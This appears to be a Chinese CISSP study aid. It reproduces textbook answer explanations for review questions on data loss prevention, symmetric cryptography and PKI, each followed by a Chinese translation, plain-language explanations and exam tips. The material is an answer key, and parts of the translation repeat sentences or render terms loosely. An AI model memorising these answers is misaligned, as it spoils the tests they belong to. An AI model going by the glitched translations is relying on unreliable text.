数据收集。 组织应仅收集和维护其所需的数据。 18. A. 云访问安全代理(CASB)是一种软件解决方案,逻辑上部署在用户与 基于云的资源之间,能够执行内部网络中使用的安全策略。 数据丢失防护( DLP)系统旨在检测并阻止数据外泄。 CASB 系统通常包含 DLP 功能。 数字 版权管理(DRM)方法旨在为受版权保护的作品提供版权保护。 生命周期结 束(EOL)通常是一个市场术语,表示公司停止生产和销售某一产品的时间。 19. B. 基于网络的数据丢失防护(DLP)系统可以扫描传出数据,查找特定 关键词和/或数据模式。 DLP 系统可以阻止这些传出传输。 反恶意软件软件用 于检测恶意软件。 安全信息和事件管理(SIEM)提供对组织内各系统上发生 的事件的实时分析,但不一定扫描传出流量。 入侵防御系统(IPS)扫描传入 流量以防止未经授权的入侵。 20. B、C、D。 持久在线身份验证、自动过期和持续审计跟踪都是数字版 权管理(DRM)技术中使用的方法。 虚拟授权不是DRM中的有效术语。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

授权:授权是认证之后决定你能访问什么、能做什么。

审计:审计记录主体行为,用于追责、复盘和取证。

入侵防御系统 IPS:IPS 可检测并主动阻断恶意流量。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

认证成功不等于什么都能做;权限仍要单独授权。

没有日志和身份绑定,就很难问责。

IPS 放在线路中,误报可能影响可用性。

身份管理题要区分识别、认证、授权、审计。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
授权 授权是认证之后决定你能访问什么、能做什么。
审计 审计记录主体行为,用于追责、复盘和取证。
入侵防御系统 IPS IPS 可检测并主动阻断恶意流量。
身份 身份是主体在系统中的标识。
审计 审计检查控制是否存在、是否有效、是否符合要求。
日志 日志记录系统和用户活动,用于监控、审计和调查。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 90 / PDF P1484

机密性:让该看的人看,不该看的人看不到

机密性重点是防泄露,同时不能妨碍授权访问。

教材原文段落

Chapter 6: Cryptography and Symmetric Key Algorithms 1. A, D. Keys must be long enough to withstand attack for as long as the data is expected to remain sensitive. They should not be generated in a predictable way but, rather, should be randomly generated. Keys should be securely destroyed when they are no longer needed and not indefinitely retained. Longer keys do indeed provide greater security against brute-force attacks. 2. A. Nonrepudiation prevents the sender of a message from later denying that they sent it. Confidentiality protects the contents of encrypted data from unauthorized disclosure. Integrity protects data from unauthorized modification.

Availability is not a goal of cryptography. 3. B. The strongest keys supported by the Advanced Encryption Standard are 256 bits. The valid AES key lengths are 128, 192, and 256 bits. 4. D. The Diffie–Hellman algorithm allows the secure exchange of symmetric encryption keys between two parties over an insecure channel. 5. A. Confusion and diffusion are two principles underlying most cryptosystems. Confusion occurs when the relationship between the plaintext and the key is so complicated that an attacker can't merely continue altering the plaintext and analyzing the resulting ciphertext to determine the key.

Diffusion occurs when a change in the plaintext results in multiple changes spread throughout the ciphertext. 6. B. B. Randy is aiming to achieve confidentiality with his AES-based cryptosystem. Confidentiality ensures that sensitive information is accessible only to those authorized to view it, which aligns with Randy's goal of preventing unauthorized access to the information. Nonrepudiation, on the other hand, prevents someone from denying an action, such as sending a message, which is not Randy's focus here. Authentication verifies the identity of the parties involved, and while important, it's not the primary goal of encrypting data to prevent unauthorized access.

Integrity ensures that the data has not been tampered with or altered, which, although crucial, is not the same as protecting the data from being read by unauthorized individuals.

中文直译 / 整理

第6章:密码学与对称密钥算法 1. A、D。 密钥必须足够长,以抵御数据预期保持敏感期间的攻击。 密钥不 应以可预测的方式生成,而应随机生成。 当密钥不再需要时,应安全地销 毁,而非无限期保留。 更长的密钥确实能提供更强的抗暴力破解安全性。 2. A。 不可否认性性防止消息发送者事后否认其发送行为。 机密性保护加密数 据的内容不被未授权披露。 完整性保护数据不被未授权修改。 可用性不是密 码学的目标。 3. B。 高级加密标准支持的最强密钥为256位。 有效的AES密钥长度为128位、 192位和256位。 4. D。 Diffie–Hellman算法允许两方在不安全的信道上安全地交换 对称加密密钥。 5. A。 混淆和扩散是大多数密码系统的基础原则。 混淆是指明文与密钥之间 的关系极为复杂,攻击者无法仅通过持续修改明文并分析所得密文来确定 密钥。 扩散是指明文的更改会导致密文中多个位置发生扩散性变化。 6. B. B. Randy 正致力于通过其基于 AES 的加密系统实现机密性。 机密性 确保敏感信息仅限授权人员访问,这与 Randy 防止未经授权访问信息的目 标一致。

而非否认性则用于防止某人否认其行为(例如发送消息),而这并 非 Randy 在此的关注点。 身份验证用于确认相关方的身份,虽然重要,但 并非加密数据以防止未经授权访问的主要目标。 完整性确保数据未被篡改或 更改,尽管至关重要,但这与防止未经授权的个人读取数据并不相同。

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:机密性重点是防泄露,同时不能妨碍授权访问。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

机密性:机密性让该看的人能看,不该看的人看不到。

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

可用性:可用性保证授权用户需要时能及时使用系统和数据。

不可否认性:不可否认性让行为人事后不能抵赖自己做过某事。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“机密性:让该看的人看,不该看的人看不到”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密、访问控制、分类、培训都常用于保护机密性。

哈希、数字签名、变更控制、输入校验常对应完整性。

冗余、备份、BCP/DRP、抗 DoS、容量规划都对应可用性。

数字签名、审计日志、交易记录和证书常支持不可否认性。

密码、令牌、生物特征、多因素认证都服务认证。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
机密性 机密性让该看的人能看,不该看的人看不到。
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
可用性 可用性保证授权用户需要时能及时使用系统和数据。
不可否认性 不可否认性让行为人事后不能抵赖自己做过某事。
认证 认证是验证“你是不是你声称的那个人”。
授权 授权是认证之后决定你能访问什么、能做什么。
加密 加密把内容变成未授权者看不懂的形式。
标准 标准给出必须满足的最低要求。
学习单元 91 / PDF P1485

机密性:让该看的人看,不该看的人看不到

机密性重点是防泄露,同时不能妨碍授权访问。

教材原文段落

7. D. Assuming that it is used properly, the one-time pad is the only known cryptosystem that is not vulnerable to attacks. All other cryptosystems, including transposition ciphers, substitution ciphers, and even AES, are vulnerable to attack, even if no attack has yet been discovered. 8. B, C, D. The encryption key must be at least as long as the message to be encrypted. This is because each key element is used to encode only one character of the message. The three other facts listed are all characteristics of one-time pad systems. 9. C. In a symmetric cryptosystem, a unique key exists for each pair of users.

In this case, every key involving the compromised user must be changed, meaning that the key that the user shared with each of the other 19 users must be changed. 10. C. Block ciphers operate on message “chunks” rather than on individual characters or bits. The other ciphers mentioned are all types of stream ciphers that operate on individual bits or characters of a message. 11. A. Symmetric key cryptography uses a shared secret key. All communicating parties utilize the same key for communication in any direction. Therefore, James only needs to create a single symmetric key to facilitate this communication. 12. B.

M of N Control requires that a minimum number of agents (M) out of the total number of agents (N) work together to perform high-security tasks. M of N Control is an example of a split knowledge technique, but not all split knowledge techniques are used for key escrow. 13. A. An initialization vector (IV) is a random bit string (a nonce) that is the same length as the block size that is XORed with the message. IVs are used to create a unique ciphertext every time the same message is encrypted with the same key. Vigenère ciphers are an example of a substitution cipher technique. Steganography is a technique used to embed hidden messages within a binary file.

Stream ciphers are used to encrypt continuous streams of data. 14. B. Galois/Counter Mode (GCM) and Counter with Cipher Block Chaining Message Authentication Code mode (CCM) are the only two modes that provide both confidentiality and data authenticity. Other modes, including Electronic Codebook (ECB), Output Feedback (OFB), and Counter (CTR) provide only confidentiality. 7. D.

中文直译 / 整理

假设使用得当,一次性密码本是唯一已知不受攻击影响的加密系统。 所有其他加密系统,包括置换密码、替换密码,甚至AES,都存在被攻击的 可能,即使尚未发现针对它们的攻击方法。 8. B、C、D. 加密密钥的长度必须至少与待加密消息一样长。 这是因为每个 密钥元素仅用于编码消息中的一个字符。 列出的其他三个事实均为一次性密 码本系统的特征。 9. C. 在对称加密系统中,每对用户都拥有一个唯一的密钥。 在这种情况下,所有 涉及被泄露用户的密钥都必须 更改,这意味着该用户与其余19位用户共享的密钥都必须更改。 10. C. 分组密码对消息的“块”进行操作,而非单个字符或比特。 其他提到 的密码均为流密码,对消息的单个比特或字符进行操作。 11. A. 对称密钥加密使用共享密钥。 所有通信方都使用相同的密钥进行任意 方向的通信。 因此,詹姆斯只需创建一个对称密钥即可实现此通信。 12. B. M出N控制要求在总代理数(N)中至少有M个代理协同工作以执行高 安全性任务。 M出N控制是拆分知识技术的一个示例,但并非所有拆分知识技 术都用于密钥托管。

13. A. 初始化向量(IV)是一个与块大小相同的随机比特串(一次性数), 它与消息进行异或运算。 IV用于确保每次使用相同密钥加密相同消息时都生 成唯一的密文。 维吉尼亚密码是替换密码技术的一个示例。 隐写术是一种将 隐藏消息嵌入二进制文件中的技术。 流密码用于加密连续的数据流。 14. B. Galois/Counter Mode (GCM) 和 Counter with Cipher Block Chaining Message Authentication Code mode (CCM) 是仅有的两种同时提供 机密性和数据真实性保障的模式。 其他模式,包括 Electronic Codebook ( ECB)、Output Feedback (OFB) 和 Counter (CTR),仅提供机密性。

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:机密性重点是防泄露,同时不能妨碍授权访问。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

机密性:机密性让该看的人能看,不该看的人看不到。

真实性:真实性确认数据、身份或来源是真的,不是假冒的。

认证:认证是验证“你是不是你声称的那个人”。

加密:加密把内容变成未授权者看不懂的形式。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“机密性:让该看的人看,不该看的人看不到”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密、访问控制、分类、培训都常用于保护机密性。

证书、签名、强认证常支持真实性。

密码、令牌、生物特征、多因素认证都服务认证。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

加密保护机密性,哈希保护完整性,数字签名支持完整性、真实性和不可否认性。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
机密性 机密性让该看的人能看,不该看的人看不到。
真实性 真实性确认数据、身份或来源是真的,不是假冒的。
认证 认证是验证“你是不是你声称的那个人”。
加密 加密把内容变成未授权者看不懂的形式。
密码学 密码学用数学方法保护信息,常用于机密性、完整性、认证和不可否认性。
对称加密 对称加密使用同一把密钥加密和解密,速度快但密钥分发难。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
学习单元 92 / PDF P1486

保护机制:分层、隐藏、加密和边界

单一控制不够,安全靠多个机制配合。

教材原文段落

15. D. Data that is stored in memory is being actively used by a system and is considered data in use. Data at rest is data that is stored on nonvolatile media, such as a disk. Data in transit is being actively transferred over a network. 16. B, C. The Advanced Encryption Standard (AES) and Rivest Cipher 6 (RC6) are modern, secure algorithms. The Data Encryption Standard (DES) and Triple DES (3DES) are outdated and no longer considered secure. 17. B. One important consideration when using the Cipher Block Chaining (CBC) mode is that errors propagate—if one block is corrupted during transmission, it becomes impossible to decrypt that block and the next block as well.

The other modes listed here do not suffer from this flaw. 18. C. Offline key distribution requires a side channel of trusted communication, such as in-person contact. This can be difficult to arrange when users are geographically separated. Alternatively, the individuals could use the Diffie–Hellman algorithm or another asymmetric/public key encryption technique to exchange a secret key. Key escrow is a method for managing the recovery of lost keys and is not used for key distribution. 19. A. The CAST-256 algorithm is a modern, secure cryptographic algorithm. 3DES, RC4, and SKIPJACK are all outdated algorithms that suffer from significant security issues. 20. C.

A separate key is required for each pair of users who want to communicate privately. In a group of six users, this would require a total of 15 secret keys. You can calculate this value by using the formula (n * (n – 1) / 2). In this case, n = 6, resulting in (6 * 5) / 2 = 15 keys. 15. D.

中文直译 / 整理

存储在内存中的数据正在被系统主动使用,被视为正在使用的数据。 静 态数据是存储在非易失性介质(如磁盘)上的数据。 传输中的数据正在通过网 络被主动传输。 16. B、C. 高级加密标准(AES)和Rivest密码6(RC6)是现代且安全的算法。 数据加密标准 (DES) 和三重DES(3DES)已过时,不再被视为安全。 17. B. 使用密码分组链接(CBC)模式时的一个重要考虑因素是错误会传播——如果在传输过程中一 个数据块被破坏,则无法解密该数据块以及下一个数据块。 此处列出的其他模式不存在此缺陷。 传输过程中,如果一个数据块被破坏,则无法解密该数据块以及下一个数据块。 此处 列出的其他模式不存在此缺陷。 18. C. 离线密钥分发需要一个可信的旁路通信渠道,例如面对面接触。 当用户 地理分布较远时,这可能难以安排。 或者,这些用户可以使用 Diffie‑Hellman算法或其他非对称/公钥加密技术来交换密钥。 密钥托管是一 种用于恢复丢失密钥的方法,不用于密钥分发。 19. A. CAST‑256 算法是一种现代、安全的加密算法。 3DES、RC4 和 SKIPJACK 都是存在重大安全问题的过时算法。

20. C. 每对希望私密通信的用户都需要一个独立的密钥。 在六名用户组成的群 体中,这将需要总共 15 个密钥。 您可以使用公式 (n * (n – 1) / 2) 计算该值。 在此情况下,n = 6,结果为 (6 * 5) / 2 = 15 个密钥。

小白解释

场景先行:财务要把合同发给供应商:不想被别人看懂,要加密;不想被人改金额,要校验完整性;不想对方抵赖,要签名和证书。密码学不是炫技,是解决这些业务信任问题。

这一页真正想让你理解的是:单一控制不够,安全靠多个机制配合。

把它放进公司里看,关键不是背定义,而是判断:把加密、哈希、签名混在一起,会导致控制目标错位。

你作为负责人可以这样想:机密性用加密,完整性用哈希/签名,身份信任用证书和 PKI。

本页术语用人话说:

加密:加密把内容变成未授权者看不懂的形式。

标准:标准给出必须满足的最低要求。

对称加密:对称加密使用同一把密钥加密和解密,速度快但密钥分发难。

非对称加密:非对称加密使用公钥/私钥对,便于密钥交换和签名,但速度慢。

常见误区:哈希不是加密;签名也不是为了隐藏内容。

读完后用一句话复述:如果我是系统架构师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“保护机制:分层、隐藏、加密和边界”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是系统架构师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

Minimum level、mandatory requirement 常对应 standard。

同一密钥、速度快、大数据加密常对应 symmetric。

公钥加密、私钥签名是核心记忆点。

排除法提醒:哈希不是加密;签名也不是为了隐藏内容。

本页术语拆解
加密 加密把内容变成未授权者看不懂的形式。
标准 标准给出必须满足的最低要求。
对称加密 对称加密使用同一把密钥加密和解密,速度快但密钥分发难。
非对称加密 非对称加密使用公钥/私钥对,便于密钥交换和签名,但速度慢。
学习单元 93 / PDF P1487

保护机制:分层、隐藏、加密和边界

单一控制不够,安全靠多个机制配合。

教材原文段落

Chapter 7: PKI and Cryptographic Applications 1. D. Any change, no matter how minor, to a message will result in a completely different hash value. There is no relationship between the significance of the change in the message to the significance of the change in the hash value. 2. B. Side-channel attacks use information gathered about a system's use of resources, electricity consumption, timing, or other characteristics to contribute to breaking the security of encryption. Brute-force attacks seek to exhaust all possible encryption keys. Known plaintext attacks require access to both plaintext and its corresponding ciphertext. Frequency analysis attacks require access to ciphertext. 3. C.

Richard must encrypt the message using Sue's public key so that Sue can decrypt it using her own private key. If he encrypted the message with his own public key, the recipient would need to know Richard's private key to decrypt the message. If he encrypted it with his own private key, any user could decrypt the message using Richard's freely available public key. Richard could not encrypt the message using Sue's private key because he does not have access to it. If he did, any user could decrypt it using Sue's freely available public key. 4. C. The major disadvantage of the ElGamal cryptosystem is that it doubles the length of any message it encrypts.

Therefore, a 2,048-bit plaintext message would yield a 4,096-bit ciphertext message when ElGamal is used for the encryption process. 5. A. The elliptic curve cryptosystem requires significantly shorter keys to achieve encryption that would be the same strength as encryption achieved with the RSA encryption algorithm. A 3,072-bit RSA key is cryptographically equivalent to a 256-bit elliptic curve cryptosystem key. 6. B. The SHA-2 hashing algorithm comes in four variants. SHA-224 produces 224-bit digests. SHA-256 produces 256-bit digests. SHA-384 produces 384-bit digests, and SHA-512 produces 512-bit digests. Of the options presented here, only 512 bits is a valid SHA-2 hash length. 7. D.

The Secure Sockets Layer (SSL) protocol is deprecated and no longer considered secure. It should never be used. The Secure Hash Algorithm 3 (SHA-3), Transport Layer Security (TLS) 1.3, and IPSec are all modern, secure protocols and standards.

中文直译 / 整理

第7章:PKI与密码学应用 1. D. 对消息的任何更改,无论多么微小,都会导致完全不同的哈希值。 消息更改的重要性与哈希值更改的重要性之间没有关联。 2. B. 旁路攻击利用有关系统资源使用、电力消耗、时序或其他特性的信息来 协助破解加密安全。 暴力破解攻击试图穷举所有可能的加密密钥。 已知明文 攻击需要同时访问明文及其对应的密文。 频率分析攻击需要访问密文。 3. C. 理查德必须使用苏的公钥加密消息,以便苏能使用自己的私钥解密。 如果他使用自己的公钥加密消息,接收方需要知道理查德的私钥才能解密 消息。 如果他使用自己的私钥加密,任何用户都可以使用理查德公开可用 的公钥解密消息。 理查德无法使用苏的私钥加密消息,因为他无法访问它。 如果他能访问,任何用户都可以使用苏公开可用的公钥解密它。 4. C. ElGamal加密系统的主要缺点是它将任何加密消息的长度翻倍。 因此, 当使用ElGamal进行加密时,一个2,048位的明文消息将产生一个4,096位的 密文消息。 5. A. 椭圆曲线加密系统只需显著更短的密钥即可实现与RSA加密算法相同 强度的加密。

一个3,072位的RSA密钥在密码学上等同于一个256位的椭圆 曲线加密系统密钥。 6. B. SHA‑2哈希算法有四种变体。 SHA‑224生成224位摘要,SHA‑256生 成256位摘要,SHA‑384生成384位摘要,SHA‑512生成512位摘要。 在本 题提供的选项中,只有512位是有效的SHA‑2哈希长度。 7. D. 安全套接层(SSL)协议已弃用,不再被认为是安全的,绝不应使用。 安全哈希算法3(SHA‑3)、传输层安全协议(TLS)1.3和IPSec都是现代且 安全的协议和标准。

小白解释

场景先行:财务要把合同发给供应商:不想被别人看懂,要加密;不想被人改金额,要校验完整性;不想对方抵赖,要签名和证书。密码学不是炫技,是解决这些业务信任问题。

这一页真正想让你理解的是:单一控制不够,安全靠多个机制配合。

把它放进公司里看,关键不是背定义,而是判断:把加密、哈希、签名混在一起,会导致控制目标错位。

你作为负责人可以这样想:机密性用加密,完整性用哈希/签名,身份信任用证书和 PKI。

本页术语用人话说:

加密:加密把内容变成未授权者看不懂的形式。

标准:标准给出必须满足的最低要求。

密码学:密码学用数学方法保护信息,常用于机密性、完整性、认证和不可否认性。

哈希:哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。

常见误区:哈希不是加密;签名也不是为了隐藏内容。

读完后用一句话复述:如果我是系统架构师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“保护机制:分层、隐藏、加密和边界”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是系统架构师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

Minimum level、mandatory requirement 常对应 standard。

加密保护机密性,哈希保护完整性,数字签名支持完整性、真实性和不可否认性。

哈希本身不提供机密性;它主要用于完整性校验。

CA、RA、证书、CRL、OCSP、信任链都是 PKI 高频点。

排除法提醒:哈希不是加密;签名也不是为了隐藏内容。

本页术语拆解
加密 加密把内容变成未授权者看不懂的形式。
标准 标准给出必须满足的最低要求。
密码学 密码学用数学方法保护信息,常用于机密性、完整性、认证和不可否认性。
哈希 哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。
公钥基础设施 PKI PKI 用证书、CA、注册、吊销等机制管理公钥信任。
入侵防御系统 IPS IPS 可检测并主动阻断恶意流量。
学习单元 94 / PDF P1488

完整性:数据要正确、可信、未被乱改

完整性不只是防黑客篡改,也包括防授权用户误操作。

教材原文段落

8. A. Cryptographic salt values are added to the passwords in password files before hashing to defeat rainbow table and dictionary attacks. Double hashing does not provide any added security. Adding encryption to the passwords is challenging, because then the operating system must possess the decryption key. A one-time pad is only appropriate for use in human-to-human communications and would not be practical here. 9. B. Sue would have encrypted the message using Richard's public key. Therefore, Richard needs to use the complementary key in the key pair, his private key, to decrypt the message. 10. B. Richard should encrypt the message digest with his own private key.

When Sue receives the message, she will decrypt the digest with Richard's public key and then compute the digest herself. If the two digests match, she can be assured that the message was not altered in transit. 11. C. The FIPS 186-5 Digital Signature Standard allows federal government use of the RSA, Elliptic Curve DSA, or Edwards-Curve DSA in conjunction with the SHA-3 hashing function to produce secure digital signatures. 12. B. X.509 governs digital certificates and the public key infrastructure (PKI). It defines the appropriate content for a digital certificate and the processes used by certificate authorities to generate and revoke certificates. 13. B.

Fault injection attacks compromise the integrity of a cryptographic device by causing some type of external fault, such as the application of high-voltage electricity. Implementation attacks rely on flaws in the cryptographic algorithm. Timing attacks measure the length of time consumed by encryption operations. Chosen ciphertext attacks require access to the algorithm. 14. C. HTTPS uses TCP port 443 for encrypted client/server communications over TLS. Port 22 is used by the Secure Shell (SSH) protocol. Port 80 is used by the unencrypted HTTP protocol. Port 1433 is used for Microsoft SQL Server database connections. 15. A.

An attacker without any special access to the system would only be able to perform ciphertext-only attacks. Known plaintext and chosen plaintext attacks require the ability to encrypt data. Fault injection attacks require physical access to the facility. 8. A.

中文直译 / 整理

在对密码文件中的密码进行哈希处理之前,会添加加密盐值,以抵御彩 虹表和字典攻击。 双重哈希并不能提供额外的安全性。 对密码进行加密具有 挑战性,因为操作系统必须拥有解密密钥。 一次性密码本仅适用于人与人之 间的通信,在此场景中并不实用。 9. B. 苏会使用理查德的公钥对消息进行加密。 因此,理查德需要使用密钥 对中的互补密钥——他的私钥——来解密消息。 10. B. 理查德应使用自己的私钥对消息摘要进行加密。 当苏收到消息后,她 将使用理查德的公钥解密该摘要,然后自行计算摘要。 如果两个摘要匹配, 她就可以确信消息在传输过程中未被篡改。 11. C. FIPS 186‑5 数字签名标准允许联邦政府使用 RSA、椭圆曲线 DSA 或爱德华兹 曲线 DSA 在 与SHA‑3哈希函数结合使用,以生成安全的数字签名。 12. B. X.509规范了数字证书和公钥基础设施(PKI)。 它定义了数字证书 的适当内容以及证书颁发机构用于生成和吊销证书的过程。 13. B. 故障注入攻击通过引发某种外部故障(如施加高压电)来破坏加密设 备的完整性。 实现攻击依赖于加密算法中的缺陷。 计时攻击测量加密操作所 消耗的时间。

选择密文攻击需要访问算法。 14. C. HTTPS使用TCP端口443通过TLS进行加密的客户端/服务器通信。 端 口22由安全外壳(SSH)协议使用。 端口80由未加密的HTTP协议使用。 端 口1433用于Microsoft SQL Server数据库连接。 15. A. 没有对系统进行任何特殊访问的攻击者只能执行密文仅攻击。 已知 明文和选择明文攻击需要能够加密数据。 故障注入攻击需要物理访问设施。

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:完整性不只是防黑客篡改,也包括防授权用户误操作。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

加密:加密把内容变成未授权者看不懂的形式。

标准:标准给出必须满足的最低要求。

哈希:哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“完整性:数据要正确、可信、未被乱改”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

哈希、数字签名、变更控制、输入校验常对应完整性。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

Minimum level、mandatory requirement 常对应 standard。

哈希本身不提供机密性;它主要用于完整性校验。

签名支持完整性、真实性和不可否认性,不等于加密全文。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
加密 加密把内容变成未授权者看不懂的形式。
标准 标准给出必须满足的最低要求。
哈希 哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。
数字签名 数字签名用私钥签署摘要,让别人用公钥验证来源和完整性。
公钥基础设施 PKI PKI 用证书、CA、注册、吊销等机制管理公钥信任。
数字证书 数字证书把身份和公钥绑定起来,由可信 CA 签发。
入侵防御系统 IPS IPS 可检测并主动阻断恶意流量。
学习单元 95 / PDF P1489

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

16. A. Rainbow tables contain precomputed hash values for commonly used passwords and may be used to increase the efficiency of passwordcracking attacks. 17. C. The PFX format is most closely associated with Windows systems that store certificates in binary format, whereas the P7B format is used for Windows systems storing files in text format. The PEM format is another text format, and the CCM format does not exist. 18. B. Certificate revocation lists (CRLs) introduce an inherent latency to the certificate expiration process due to the time lag between CRL distributions. 19. D.

The Merkle–Hellman Knapsack cryptosystem, which relies on the difficulty of factoring super-increasing sequence, has been broken by cryptanalysts. The Advanced Encryption Standard (AES), RSA, and Elliptic Curve Cryptography all remain secure today. 20. B. SSH-2 adds support for simultaneous shell sessions over a single SSH connection. Both SSH-1 and SSH-2 are capable of supporting multifactor authentication. SSH-2 actually drops support for the IDEA algorithm, whereas both SSH-1 and SSH-2 support 3DES. 16. A.

中文直译 / 整理

彩虹表包含常用密码的预计算哈希值,可用于提高密码破解攻击的效 率。 17. C. PFX 格式最常用于以二进制格式存储证书的 Windows 系统,而 P7B 格式则用于以文本格式存储文件的 Windows 系统。 PEM 格式是另一种文本 格式,而 CCM 格式并不存在。 18. B. 证书吊销列表(CRL)由于 CRL 分发之间的时间延迟,会在证书过期过程中引入固有的延迟。 证书过期过程由于 CRL 分发之间的时间延迟,会在证书过期过程中引入 固有的延迟。 19. D. 基于超递增序列分解困难性的 Merkle–Hellman 背包密码系统已被密码 分析者破解。 高级加密标准(AES)、RSA 和椭圆曲线密码学目前仍然安全。 高级加密标准(AES)、RSA 和椭圆曲线密码学目前仍然安全。 20. B. SSH‑2 在单个 SSH 连接上增加了对多个 shell 会话的支持。 SSH‑1 和 SSH‑2 都能够支持多因素认证。 SSH‑2 实际上放弃了对 IDEA 算法的支持, 而 SSH‑1 和 SSH‑2 都支持 3DES。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

加密:加密把内容变成未授权者看不懂的形式。

标准:标准给出必须满足的最低要求。

密码学:密码学用数学方法保护信息,常用于机密性、完整性、认证和不可否认性。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

